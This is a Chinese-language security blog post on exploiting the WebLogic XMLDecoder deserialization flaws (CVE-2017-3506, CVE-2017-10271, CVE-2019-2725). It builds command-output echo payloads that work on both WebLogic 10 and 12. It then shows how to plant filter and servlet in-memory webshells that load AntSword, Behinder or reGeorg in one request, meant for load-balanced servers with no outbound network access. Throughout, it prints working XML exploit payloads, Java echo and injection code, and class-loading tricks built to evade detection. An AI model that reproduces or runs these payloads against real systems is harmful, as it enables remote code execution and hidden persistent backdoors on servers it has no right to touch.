首發先知社區:https://xz.aliyun.com/t/10323
雖說weblogic xmldecoder的洞是幾年前的,但是之前內外網場景下老是遇到,大多數情況是不出網、不方便寫webshell(weblogic負載均衡,輪詢)場景,需要解決的問題就是回顯構造和內存馬的植入。所以想花個時間來總結一下。
而說到回顯、內存馬植入的文章網上越來越多,看了文章都知道有哪些方法,比如回顯問題大多數都知道有找request、URLClassloader報錯、rmi調用那些,一說內存馬都知道servlet、filter、listener馬,都知道怎么去寫個Demo。
但是實際結合到場景去做總是會遇到一些問題,所以自己想着還是多動手實踐,畢竟talk is cheap。
0x01 weblogic xmldecoder 反序列化漏洞
debug 環境搭建:
修改 domain 的 bin 目錄下面的 startWebLogic.cmd 文件,在前邊部分加上以下行:
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
之后就是常規添加libraries和weblogic服務器就不截圖了,寫個filter斷點測試下:
涉及CVE:
-
CVE-2017-3506
-
CVE-2017-10271
-
CVE-2019-2725
三個CVE都是對最初漏洞的不停繞過,CVE-2017-3506
修補方案為禁用 object
標簽,CVE-2019-2725,由於組件_async存在反序列化。
原理簡單說就是WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞
CVE-2017-10271 簡單流程
這個洞網上很多過程文章,不貼過程了
簡單跟一下, 處理是在readHeaderOld
方法,進入到weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
后ByteArrayOutputStream bao為實際傳入獲內存緩沖區的數據,轉換成字節數組,在使用WorkContextXmlInputAdapter
時又把字節數組用ByteArrayInputStream
轉化為輸入流,最后轉成XmlDecoder對象
最后跟到readUTF函數中調用readObject( )方法進行反序列化操作,代碼執行。
payload中的xmlencoder 標簽
文檔:XMLEncoder (Java SE 9 & JDK 9 ) (oracle.com)
因為這三個cve都是針對前面的繞過
CVE-2017-10271是通過void
、new
標簽對CVE-2017-3506補丁的繞過。標簽這里也不貼那么多了,可以看已有的文章對標簽的解釋:
最早poc使用object 標簽來表示對象:
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
一些payload中常用的標簽:
object或void標簽用於初始化對象,屬性class的值是初始化對象所屬的類
<object class="java.io.xxx"> </object>
函數調用使用void 標簽,屬性method的值是調用的方法
a.fun1("haha").fun2()
<void method="fun1">
<string>haha</string>
<void method="fun2"></void>
</void>
#如果func1、func2是a.func1;a.func2這種只需要把 <void method="fun2"></void>寫在第一對void標簽外即可,表平行的關系。
id或者idref標簽是進行標記,和引用標記的
<void property="attr" id="attr_id"></void> #對屬性進行了id標記
<void method="func1"><object idref="className"></object></void>#引用了id為className的對象
為啥可以使用void,new
標簽替換?
XMLDecoder對每種支持的標簽都實現了一個繼承了ElementHandler
的類,在DocumentHandler
的構造函數中就可以看到,寫個XMLDecode測試,跟進XMLDecoder的readObject函數,隨后跟入parsingComplete函數,再到parse函數,最后一路跟到javax.xml.parsers.SAXParserFactory#newSAXParser可以看到this.handlers參數包含了所有元素對應的解析器:
而在繞過中可以使用void,new
標簽替換即可,能等效替換的原因是處理void、new
的標簽NewElementHandler、ObjectElementHandler
最后都是調用newelementhandler
的addAttribute
方法獲得類:
具體xmldecoder解密流程可以參加這篇師傅的文章,https://xz.aliyun.com/t/5069,有興趣可以再調一下,這里不貼了。
0x02 Weblogic xmldecoder反序列命令回顯構造
這個部分我把如何找回顯和構造大版本上通用回顯(找上下文)的過程貼詳細在這里,可能啰嗦,但是理解了如何去找以后,可以把通用回顯和打入通用內存馬的payload都構造出來,因為都會用到上下文的部分。
通用的獲得回顯的思路就是獲取當前web上下文對象,比如request和response來設置傳入和響應的內容,有的中間件一般存儲在當前線程對象中,又或者存儲在靜態變量或者特定類里。獲取的流程大致是從web中獲取當前上下文對象(response、context、writer等)然后拿到回顯,而在weblogic中的ServletResponse
類,其中的getWriter
和getOutputStream
方法可以進行輸出回顯。
weblogic 輸入接受類ServletRequestImpl
weblogic.servlet.internal.ServletRequestImpl
提供了接收參數、請求頭等輸入方式的函數:
不過在xml反序列這幾個洞中這個輸入類都用不到,因為我們反序列化時候本來就可以調用xx類的xx方法進行參數的傳入(比如傳入執行的命令whoami)。
weblogic 回顯輸出類ServletResponseImpl
10和12中都有weblogic.servlet.internal.ServletResponseImpl
這個類,其中的getServletOutputStream
和getWriter
可作為輸出:
測試輸出:
如上,只要拿到了ServletResponseImpl
類即可完成后續執行回顯,但是weblogic 12 和10中拿到ServletResponseImpl
的流程和方法是不一樣的,以至於回顯payload大多數不通用,拿@shack2師傅寫過的工具舉例子。
weblogic 10 和 weblogic 12 構造回顯差別:
常見payload為dnslog出網探測、Linux反彈shell,稍微方便一些的就是執行命令帶回顯,比如shack2的工具:
調一下工具查看它發送的的payload,先來看weblogic 12
weblogic12 命令回顯調試:
exeCMD方法下斷:
復制值出來:
發送的payload如上,可以看到還是調用了org.mozilla.classfile.DefiningClassLoader
類的defineClass函數來傳入自定義的惡意類,利用defineClass加載byte[]返回Class對象,很多poc調用DefiningClassLoader
類的原因是他重寫了defineClass
而且是public
屬性,通過newInstance方法實例化惡意類並調用相應方法,解碼了反編譯查看就是個命令執行的馬:
主要看這里他工具中weblogic12 版本怎么拿到的ServletResponseImpl
類:
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
ServletResponseImpl response = this.getServletResponse();
response.getServletOutputStream().writeStream(proc.getInputStream());
this.getServletResponse().getWriter().flush();
可以看到在 ServletResponseImpl response = this.getServletResponse();
拿到的ServletResponseImpl
,跟進getServletResponse(),發現在getHttpConnectionHandler
中拿到了HttpConnectionHandler
:
為啥在weblogic12中需要拿到HttpConnectionHandler類?
跟進了一下發現,在weblogic.servlet.internal.HttpConnectionHandler
中是有獲得ServletRequestImpl、ServletRequestImpl
類的私有成員的:
對應獲取的getServletRequest、getServletResponse
方法:
所以,只要拿到HttpConnectionHandler中getServletResponse方法就能拿到ServletResponseImpl
這個類,最后實例化后執行getServletOutputStream
和getWriter
方法即可拿到回顯。
再回到剛才payload中的getHttpConnectionHandler方法,獲取了當前線程對象后進行了一個反射取字段的操作:
為啥在拿到HttpConnectionHandler類的時候需要反射connectionHandler字段?
如上圖,當時看的時候疑惑這里反射獲取connectionHandler
字段的原因,所以自己調試一下發現getCurrentWork
獲取的是ContainerSupportProviderImpl
:
跟進ContainerSupportProviderImpl
類,查找connectionHandler
字段,發現在WlsRequestExecutor
這個內部類中,而拿到connectionHandler字段可以拿到HttpConnectionHandler
類:
調試完了回到剛才的getServletResponse
中,通過如上對ContainerSupportProviderImpl類的connectionHandler
字段的獲取,就能拿到HttpConnectionHandler
類,然后通過response = httpConnectionHandler.getServletRequest().getResponse();
,就能拿到response了,自然后面就能拿到回顯:
后面搜文章也發現lufei師傅在https://xz.aliyun.com/t/5299中構造回顯也說過這個12中回顯構造方法,說的很清楚,因為沒有getter
方法,所以無法使用property="connectionHandler"屬性,只能通過反射的方式去獲取這個屬性。
所以工具中weblogic12 獲取回顯的思路:
- 調用
org.mozilla.classfile.DefiningClassLoader
來加載惡意的自定義類 - 惡意的自定義類中使用當前線程類獲得
ContainerSupportProviderImpl
類,通過對ContainerSupportProviderImpl
類connectionHandler
字段的反射獲得了HttpConnectionHandler
類,再有HttpConnectionHandler
類的getServletResponse
方法就能拿到ServletResponseImpl
類來完成后面的回顯。
ps:
工具中是通過base64將自定義惡意類的字節數組傳入到classloader中再解密的,如果實戰中有環境攔截這部分特征的話也很好改,換傳入的格式就行,例子weblogic.utils.Hex
中自帶的的fromHexString
也可以拿來做接受類字節數組的解碼方法。payload中傳入類字節數組的hex格式再調用weblogic.utils.Hex#fromHexString
還原即可:
自定義惡意類:
自定義惡意類后轉成字節數組再轉hex,傳入fromHexString函數:
再來看工具中weblogic10 命令回顯方法
weblogic 10 命令回顯方法
把payload復制出來查看
先看把傳入的類解密后反編譯,發現就是普通的命令執行馬
拿回顯部分是在對圖中的紅框部分,構造了拿到線程后再拿到response.getWriter().write("")
來回顯:
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
12版本的payload中是反射拿到workadapter
的connectionHandler
字段來獲得HttpConnectionHandler
類,再通過HttpConnectionHandler
拿到的ServletResponseImpl:
而10版本 中getCurrentWork
拿到的就直接是ServletResquestImpl
類,而ServletResquestImpl
類是有提供函數再獲得ServletResponseImpl類的:
weblogic.servlet.internal.ServletRequestImpl#getResponse
所以10版本的構造就簡單的多,WorkAdapter
和ServletRequestImpl
有繼承關系,直接強轉就行了:
所以這里WorkAdapter
父類可以直接強轉ServletRequestImpl
子類:
同理,實戰中傳入給classloader時候將上述class字節數組轉成hex、或base64格式再調用相應解碼函數即可。
所以工具中weblogic 10 獲取回顯的思路:
- 調用
org.mozilla.classfile.DefiningClassLoader
來加載惡意的自定義類 - 惡意的自定義類中使用當前線程類獲得
ServletResquestImpl
類,調用ServletResquestImpl
類中的getResponse
方法就可以拿到ServletResponseImpl
類來完成后面的回顯。
0x03 weblogic 10和12版本通用命令回顯payload:
如上 10版本和12版本 獲得回顯的異同
- 差異點在於通過當前weblogic線程類
getCurrentWork
函數拿到的類,是不同的。
10版本拿到的是ServletResquestImpl
類,12版本拿到的是ContainerSupportProviderImpl
類。
- 相同點是最后都拿到了
ServletResponseImpl
類,后續通過ServletResponseImpl
類其中的輸出函數拿到回顯。
所以通用回顯可以在拿到線程返回的類進行一個判斷,判斷類名是如果有ContainerSupportProviderImpl
則是12版本,如果workAdapter
和ServletRequestImpl
有繼承關系則是10版本:
ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
ServletResponseImpl servletResponse = null;
WorkAdapter workAdapter = executeThread.getCurrentWork();
WebAppServletContext webAppServletContext = null;
if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
/*weblogic 12 */
Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
servletResponse = httpConnectionHandler.getServletResponse();
} else if (workAdapter instanceof ServletRequestImpl) {
/*weblogic 10 */
ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
servletResponse = servletRequest.getResponse();
}
判斷完成后拿到了ServletResponseImpl類,后續輸出都是一樣的:
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");
weblogic 10
weblogic 12
0x04 其他命令回顯思路嘗試
網上大多數總結除了拿上下文來回顯之外,還有像RMI綁定實例、URLClassLoader拋異常回顯、JNDI回顯這些思路方法,我在一一拿來使用在xmldecoder反序列洞中時候發現部分並不適用,效果也沒有拿上下文的好,貼一下嘗試的記錄。
java 調用 js 命令執行回顯(推薦)
這個挺方便的也簡單,javax.script.ScriptEngineManager來調用js,最早看的是寬字節發的文章
執行的js編碼即可,poc網上寬字節是發過的,解出來自己改功能就好了,獲得線程環境那些照着前面說的改就行
RMI /URLClassLoader 拋異常回顯(不適用)
拋異常報錯回顯的方法在T3用的多,錯誤通過反序列化傳輸給客戶端,但在xmldecoder這里不適用。
先來看URLClassLoader 拋異常,網上poc惡意類大多是這樣,最后將執行命令的結果直接放異常拋出:
一般可以把惡意類打jar包,上傳到服務器,上傳使用FileOutputStream,然后用URLClassLoader 加載jar中的類。
但是這種回顯實戰洞中我很少見到過構造,xmldecoder反序列中沒有把異常代碼在返回中拋出,故這種方法不適用。
再來看RMI拋異常,原理不再敘述,參考文章:
https://paper.seebug.org/1442/#1-rmi
https://xz.aliyun.com/t/2223#toc-0
但是在weblogic尋找,大多數實現RMI接口的都是拋出java.rmi.RemoteException 異常,故也不適用
RMI綁定實例命令回顯 (待解決)
老姿勢了,這個可以參考weblogic_cmd,原理即通過漏洞調用classloader來自定義一個RMI接口類,這個類的實現方法中將回顯返回。
weblogic利用rmi回顯的工具都用的weblogic.cluster.singleton.ClusterMasterRemote
這個接口,命令回顯覆寫在getServerLocation方法:
但是這個方法我在T3洞用的多,一般是T3發送然后結合CC鏈來注冊RMI接口類達到命令回顯,y4er師傅就寫過一篇這個內容https://xz.aliyun.com/t/7228,而xmldecoder反序列的話就簡單很多了,我可以直接使用defineclass,所以想當然的拿過來用:
將上述文件class轉hex(protected屬性改public不然反射報權限異常)后打入:
調用卻發現報溢出死循環錯誤:
報死循環的異常,晚上調了很久,rmi服務端下斷loadclass找原因也沒找出個所以然,調了個寂寞。
后面再想覺得思路沒毛病,會不會問題在代碼上,嘗試動手把執行命令的函數注釋,只返回一個字符串發現成功,那么問題就在這里
然后就一行行調試,發現在執行方法中不能new,直到最后錯誤定位到proc.getInputStream()
,如果不執行這句,正常bind和正常調用執行命令:
后面也沒有調出來是為啥,辛苦su18師傅陪我一起找出錯原因,很感謝,這個問題原因暫時未知。
JNDI 命令回顯
jndi的話如果能出網利用com.sun.rowset.JdbcRowSetImpl可以打jndi回顯,參考JNDI實現回顯研究 - 安全客,安全資訊平台 (anquanke.com),但這篇本質最后去ldap服務器加載的惡意類里面還是找的web上下文來輸出回顯,並且能出網個人覺得沒太大必要用這種方法。
還有一種和單獨利用xmldecoder回顯關系不大了,植入jndi實例,綁定一個reference供遠端調用,攻擊者(客戶端)利用綁定的reference執行Weblogic服務器上的系統命令,並將結果返回給自己,打入的類中在weblogic目標中安裝個JNDI實例,這里就不是單獨只用xmldecoder這個洞了,xmldecoder洞只是拿來打入而已:
這個代碼寬字節之前的cve-2020-14644 漏洞分析中就有現成的,https://www.cnblogs.com/unicodeSec/p/13451993.html,抄過來拿來用就是:
打入:
缺點眾所周知就是這樣做的話在JNDI樹查看注冊上去的Reference時,一眼就能看出注入的后門:
0x05 xmldecoder反序列化結合weblogic filter通用內存馬
先來看大家用的最多的filter類型。
weblogic filter內存馬原理與構造流程
weblogic filter的馬最早我搜到的是寬字節發的https://www.cnblogs.com/potatsoSec/p/13162792.html,調的是12版本,在上面提到10版本和12版本回顯流程的時候就知道,兩個版本拿到上下文也就是request、response、context對象的流程和方法是不同的,所以payload不同。
但是可以效仿上面構造回顯通用payload中對上下文的判斷方法,構造個通用的weblogic filter注入馬。
先來理一下種weblogic filter思路流程和重要的點,具體尋找filter過程看寬字節文章就行,不再敘述,
weblogic filter內存馬重要的點:
-
weblogic中主要使用weblogic.servlet.internal.FilterManager這個類去管理系統中的
Filter
,這個類有兩個重要的函數,一個是registerFilter
函數中進程注冊filter,第二個是loadFilterFilter
實例化filter
-
但是在FilterManager只能傳遞ClassName,FilterManager通過ClassName去查找Class,所以構造payload的時候使用反射
-
filter中使用weblogic自己的classloader(weblogic.utils.classloaders.ChangeAwareClassLoader)去尋找class,在這個classloader的loadclass函數中從cacheClasses中查找是否存在待查找的類,如果存在,則直接返回該名稱對應的Class
-
種植filter內存馬的方法就是先在cachedClasses這個類中,put進去自己的馬,然后再在registerFilter中進行注冊filter
weblogic filter內存馬流程:
大致流程:利用漏洞加載一個注入filter內存馬的惡意類,惡意類再去加載真正的內存馬(蟻劍冰蠍之類的webshell)。
這里拿weblogic 12版本舉例。
1.拿到weblogic自己的classloader,weblogic.utils.classloaders.ChangeAwareClassLoader
獲取當前線程類,通過反射等操作拿到上下文request、context對象(這一步 10版本和12版本有所不同前面說過),ChangeAwareClassLoader這個weblogic自己的classload從context對象中就能拿到,如下,取對象中的classloader屬性即可:
2.在cachedClasses
類中插入惡意代碼
因為ChangeAwareClassLoader的loadClass函數中會從cachedClasses
取類名為name的類,如果存在,則直接返回該名稱對應的Class。
第一次看寬字節那篇文章的時候以為cachedClasses是個單獨的類,調是時候才知道是個ConcurrentHashMap
類型,故后面反射調用cachedClasses的get、put方法也就不奇怪了:
3.調用FilterManager
的registerFilter函數進行filter的注冊
因為weblogic中主要使用FilterManager去管理系統中的Filter,在FilterManager這類中使用registerFilter去注冊、加載filter,故最后一步反射調用registerFilter這個函數來注冊內存馬:
如上可完成filter內存馬的植入。
構造weblogic 10和12 版本 filter 通用注入內存馬
構造通用的payload時,10版本和12版本filter的流程沒啥變化,只是不同版本去拿上下文對象的流程是有變化的。參考前面回顯通用的部分,所以這里只貼結論:
-
差異點在於通過當前weblogic線程類
getCurrentWork
函數拿到的類,是不同的。10版本拿到的是ServletResquestImpl
類,12版本拿到的是ContainerSupportProviderImpl
類。 -
相同點是最后都拿到拿到context對象,來進行filter內存馬后續的植入。
所以在拿到context之前,進行一個判斷:
后續都是一樣,對context對象中的classload字段進行獲取,因為classloader字段可以返回ChangeAwareClassLoader這個類
最后加載惡意的字節碼class即可:
如果class編譯得版本高於目標服務器jdk版本,會報Unsupported major.minor version 52.0
,jdk高版本能兼容低版本,但是低版本不能兼容高版本:
解決方法當然是注意編譯內存馬class文件使用的jdk版本。可以直接用1.7來編譯。
實際問題中的xmldecoder打filter內存馬的小問題
如上對通用filter內存馬進行了構造,而其中這個注入filter會加載一個class文件,這個class文件就是馬文件,蟻劍冰蠍之類的
這個最早我是搜到y4er https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/README.md這篇文章中的代碼,當時候我也是用的這個方法打的環境:
先上傳filter注入的類的jar包,再上傳蟻劍類的class,最后通過漏洞去加載filter注入類,完成內存馬的注入。
使用的是URLClassLoader來加載,支持對jar包加載:
打neo-ReGeorg正向代理也是,轉換好了后同樣的方法:
payload:
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.net.URLClassLoader">
<array class="java.net.URL" length="1">
<void index="0">
<object class="java.net.URL">
<string>file:///tmp/update.jar</string>
</object>
</void>
</array>
<void method="loadClass">
<string>weblogicupdate</string>
<void method="newInstance"></void>
</void>
</object>
</java>
但是有兩個小地方可以改進:
-
1.實際測試是可用,但是實戰中這樣使用的話需要先上傳一個打包好的jar包和一個蟻劍class,當時我遇到的問題是一個內網負載均衡,你傳這兩個文件需要打好多次來保證每台機器都上傳成功,很累。稍微改一下就是把filter注入類和內存馬類都轉成字節數組來加載,一個包一步打通:
-
2.因為如果如第一點拿點把蟻劍class字節碼硬編碼就不太靈活,不如加載的類也做個接受,做到動態注入蟻劍、冰蠍、哥斯拉、reGerog等等
綜上,改進最終filter馬:
對filter注入類去加載的類改作傳參,Hex2string方法是對傳入的hex轉字節數組,evilClass為你傳入蟻劍字節數組的hex格式:
payload如下 第一段hex是filter注入類的hex,第二段hex是打入的蟻劍的hex:
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>22222
</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.qing.weblogic12_filterShell</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="result">
<string>11111
</string>
</void>
</void>
</void>
</void>
</java>
打入:
這樣就能完成10版本和12版本通用,一個包打入動態注入蟻劍、冰蠍、reGeorg的內存馬。
0x06 結合weblogic servlet、listener類型內存馬
因為前面對context的區別尋找方法都知道了,在構造通用的servlet、listener內存馬
servlet、listener原理參考網上的tomcat內存馬。
weblogic servlet內存馬
weblogic servlet內存馬網上就兩個文章,可能我理解能力不行,看不太明白,索性自己調下。
流程可以參考網上很多tomcat servlet內存馬的文章,在tomcat servlet內存馬種植流程中
核心找到負責管理 Servlet 的Wrapper類。
其中注入成功的關鍵點就是如何獲取到Context,以及如何在servletMapping
添加servlet
.
1.weblogic 哪里存儲着Servlet的路徑映射關系?
自己寫個servlet,查看哪里去查詢了這個路徑映射關系,以weblogic10 為例,調用棧如下:
明顯看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我對自己定義的Servlet類和servlet名稱:
然后在這里下斷,慢慢往上去調試,一級一級下斷,過程不貼了直接貼結果:
直到你下斷到weblogic.servlet.internal.WebAppServletContext#resolveRequest
這個函數時候,,調了你會發現在URLMatchHelper var2 = (URLMatchHelper)this.servletMapping.get(var1);
這里var1為傳入的uri,通過var1從servletMapping中匹配到合適的servlet
查看這個servletMapping,而servletMapping
就正好存儲着Servlet的路徑映射,get方法會調用getExactOrPathMatch方法,getExactOrPathMatch方法就是去matchMap中去匹配,有興趣的師傅可以跟下:
重點是我們可以通過這個servletMapping
的put
方法,添加自己的servlet
。
2.weblogic 在哪里可以動態注冊Servlet對象?
在第一個問題調試的時候,發現weblogic.servlet.internal.WebAppServletContext中就提供了registerServlet函數來注冊Servlet。下斷然后重啟就能看到它自己調用registerServlet函數來注冊,細節有興趣師傅可以跟下這里不貼了:
綜上weblogic10版本為例子,在URLMatchHelper
的servletMapping中查詢servlet的路徑映射關系,在WebAppServletContext
的registerServlet去注冊servlet。
3.如何獲得servletMapping並添加惡意servlet?
在第一個問題中說明了,weblogic.servlet.internal.WebAppServletContext
中的servletMapping
使用put方法可以添加我們想加的servlet,經查找發現WebAppServletContext提供了獲得servletMapping的方法:
構造通用welogic servlet內存馬
10版本和12版本拿到context的區別前面都有說,這里不貼了。后面就是對servlet的注冊和添加。
上面提的2、3問題可以看出,注冊servlet內存馬有兩個方法,一個是通過拿到servletMapping
來添加惡意的servlet
,另一個是通過調用registerServlet
函數來注冊惡意的servlet
。
1.調用registerServlet
函數來注冊惡意的servlet
在拿到context后,只需要調用registerServlet函數即可:
2.反射拿到servletMapping字段,put方法惡意的servlet
這種要麻煩一些,我們先看調用這個put需要哪些東西。
直接在put下斷,重啟weblogic,看看它自己怎么加的:
我自己設置的servlet路徑是Funservlet,你一直在這里F9會一直等不到自己設定servlet那個請求,下個條件斷點:
其中傳入的URLMatchHelper 如上,發現調用put第一個參數就是servlet路徑,第二個是傳入的URLMatchHelper 類。
第一個參數是取的URLMatchHelper 類的pattern字段,有興趣的可以自己跟一下。
第二個參數是URLMatchHelper 類實例,我們需要知道如何創建才方便反射構造:
weblogic.servlet.internal.URLMatchHelper#URLMatchHelper
構造函數如下,var1
為servlet
路徑,var2
為ServletStubImpl
對象:
所以現在問題變成如何實例化ServletStubImpl類對象,查看其構造函數。
weblogic.servlet.internal.ServletStubImpl#ServletStubImpl
var1為servlet路徑,var2為添加的servlet名詞, var3為context對象,如下:
所以到如上,我們就寫了,因為var1,var2是字符串,var3為context對象,前面也說了如果通用去拿context。
所以流程就是
先用context獲取到servletMapping,因為servletMapping的put方法需要servlet路徑和URLMatchHepler實例,所以第二步為反射創建ServletStub,傳入URLMatchHepler構造函數並創建其實例,第三步就是調用put方法:
把servlet內存馬結合xmldecoder反序列化的步驟如前面一樣,這樣不再敘述。
weblogic listener內存馬
這個就不貼了,context
中提供了注冊listener
函數:
實際調過在filter鏈中有封裝了listener,和前面一樣還是要去注冊觸發和注冊的地方,這個就沒繼續弄了。
Links
https://zhuanlan.zhihu.com/p/396552602
https://xz.aliyun.com/t/8465#toc-3
https://gist.github.com/atxsinn3r/2172f2bc6ea964066d19a122bbf8f23c
https://blog.csdn.net/weixin_39541600/article/details/110078172
https://paper.seebug.org/1316/
https://mp.weixin.qq.com/s/svJQ6R-VMzlTMuvgwumQiQ